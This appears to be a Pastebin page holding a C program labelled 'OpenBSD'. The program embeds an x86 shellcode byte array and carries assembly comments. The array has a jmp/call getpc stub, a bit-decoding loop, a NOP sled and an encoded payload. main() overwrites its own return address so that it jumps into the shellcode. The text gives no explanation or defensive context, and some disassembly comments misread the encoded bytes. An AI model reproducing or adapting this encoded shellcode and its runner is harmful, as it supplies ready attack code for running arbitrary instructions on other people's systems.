Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <string.h>
- char OpenBSD[]=
- "\xEB\x65" // jmpme
- "\x5E" // pop %%esi
- "\x31\xED" // xor %ebp,%ebp
- "\x83\xE1\x01" // and %ecx,0x01
- "\x83\xE3\x01" // and %ebx,0x01
- "\x66\xBB\xFA\xF7" // mov %bx,0x0F7FA
- "\x66\x81\xF3\x48\xF7" // xor %bx,0F748
- "\x89\xF7" // mov %edi,%esi
- "\x83\xE0\x7F" // and %eax,0x7F
- "\xAC" // lods %esi
- "\xB1\x80" // mov %cl,0x80
- "\xF9" // stc
- "\x06" // push %es
- "\x74\x23" // je short
- "\x60" // pushad
- "\x83\xE9\x01" // sub %ecx,0x01
- "\x74\x06" // je short
- "\xB3\x02" // mov %bl,0x02
- "\xF6\xF3" // div %bl
- "\xE2\xFC" // loopd short
- "\x83\xE0\x01" // and EAX,1
- "\x6B\x2F\x02" // imul %ebp,dword %edi,0x02
- "\x09\xE8" // or %eax,%ebp
- "\xAA" // stos %edi
- "\x61" // popad
- "\x83\xED\xFF" // sub %ebp,0xFF
- "\x83\xFD\x75" // cmp %ebp,0x75
- "\x05\x83\xEF\xFF\x31" // add %eax,0x31FFEF83
- "\xED" // in %eax,%dx
- "\x90" // nop
- "\x90" // nop
- "\x90" // nop
- "\x90" // nop
- "\x90" // nop
- "\x90" // nop
- "\x90" // nop
- "\x90" // nop
- "\x90" // nop
- "\x90" // nop
- "\x90" // nop
- "\x90" // nop
- "\x90" // nop
- "\x90" // nop
- "\x90" // nop
- "\x90" // nop
- "\x90" // nop
- "\x90" // nop
- "\x90" // nop
- "\x90" // nop
- "\x90" // nop
- "\x90" // nop
- "\x90" // nop
- "\x90" // nop
- "\x90" // nop
- "\x90" // nop
- "\xE2\xBC" // loopd short
- "\x83\xEB\x01" // sub %ebp,0x01
- "\x74\x07" // je short
- "\xEB\xAF" // jmp short
- "\xE8\x96\xFF\xFF\xFF" // callme
- "\x75\x2E" // jnz short
- "\xEB\x29" // jmp short
- "\xAA" // stos %edi
- "\xA9\xB0\x6D\x71\xA0" // test %eax,0xA0716DB0
- "\x20\x28" // and %eax,%ch
- "\xAF" // scas dword %edi
- "\x3D\x64\xE8\x77\x2B" // cmp %eax,0x2B77E864
- "\xEE" // out %dx,%al
- "\x76\xA3" // jbe short
- "\x60" // pushad
- "\xBE\x6F\x71\x3A\x71" // mov %esi,0x713A716F
- "\x3E\x3A\xAB\xB0\x34\x20" // cmp %ch,%ebx 0x202034B0
- "\x20\x22" // and %edx,%ah
- "\xFB" // sti
- "\x29\xB2\xEE\x37\xBC\xED" // sub dword ,%edx 0xEDBC37EE,%esi
- "\x22\x21" // and %ah,%ecx
- "\x75\xA6" // jnz short
- "\x60" // pushad
- "\x31\x3C\xAC" // xor %esp,%ebp,%edi
- "\xB6\x33" // mov %dh,0x33
- "\x7D\xBE" // jge short
- "\xF4" // hlt
- "\x31\x20" // xor %eax,%esp
- "\x2A\xF5" // sub %dh,%ch
- "\x3C\x67" // cmp %al,0x67
- "\xA2\xB2\x68\xB4\xEA" // mov 0xEAB468B2
- "\x2C\xEC" // sub 0xEC
- "\x20"; // and %eax
- main()
- {
- int *ret;
- printf("\n%d\n",sizeof(OpenBSD));
- ret=(int*)&ret+2;
- (*ret)=(int)OpenBSD;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement